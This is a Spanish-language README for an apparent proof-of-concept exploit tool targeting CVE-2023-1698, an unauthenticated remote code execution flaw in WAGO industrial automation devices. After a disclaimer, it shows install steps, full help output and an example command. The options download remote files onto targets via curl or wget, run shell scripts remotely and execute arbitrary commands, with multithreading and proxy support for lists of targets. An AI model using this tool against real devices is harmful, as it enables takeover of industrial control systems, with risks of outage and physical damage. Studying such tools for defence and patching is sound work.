
Vulnerabilidad de ejecución remota de código en el sistema WAGO (CVE-2023-1698)
Vulnerabilidad de ejecución remota de código en el sistema WAGO (CVE-2023-1698)
He desarrollado una herramienta para pruebas locales y desarrollo de POC, que es solo para referencia de aprendizaje técnico. No la utilice para fines ilegales. Cualquier consecuencia o pérdida directa o indirecta causada por individuos u organizaciones que utilicen la información proporcionada en este artículo es responsabilidad del propio usuario y no tiene nada que ver con el autor!!!

WAGO es una empresa especializada en interconexión eléctrica, automatización y tecnología electrónica de interfaz. En múltiples productos de WAGO, una vulnerabilidad permite a atacantes remotos no autenticados crear nuevos usuarios y cambiar las configuraciones del dispositivo, lo que puede conducir a una RCE remota, denegación de servicio y daños a todo el sistema.
pip install -r requirements.txt
python "WAGO-CVE-2023-1698 .py" -h
usage: WAGO-CVE-2023-1698 .py [-h] (-u URL | -f FILE)
[--remote-file-include REMOTE_FILE_INCLUDE | --local-file-include LOCAL_FILE_INCLUDE | --remote-command REMOTE_COMMAND]
[--random-agent RANDOM_AGENT] [-d DELAY] [-t THREAD] [--proxy PROXY] [--type TYPE] [-o OUTPUT]
WAGO System Remote Code Execution Vulnerability (CVE-2023-1698)
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Enter target object
-f FILE, --file FILE Input target object file
--remote-file-include REMOTE_FILE_INCLUDE
Enter the filepath(it must be On the public network)
--local-file-include LOCAL_FILE_INCLUDE
Enter the filepath(it must be On the local)
--remote-command REMOTE_COMMAND
Enter the command you want to execute
--random-agent RANDOM_AGENT
Using random user agents
-d DELAY, --delay DELAY
Set multi threaded access latency (setting range from 0 to 5)
-t THREAD, --thread THREAD
Set the number of program threads (setting range from 1 to 50)
--proxy PROXY Set up the proxy
--type TYPE Set up the remote upload file type
-o OUTPUT, --output OUTPUT
output filename
--remote-file-include: especifica una URL de archivo remoto; el archivo se subirá al directorio tmp o al directorio actual mediante curl o wget --local-file-include: analiza archivos de script shell locales y los ejecuta de forma remota --remote-command REMOTE: ejecuta un comando del sistema
python wago.py -u ** --proxy http://127.0.0.1:10809 --remote-command "cat /var/log/wago"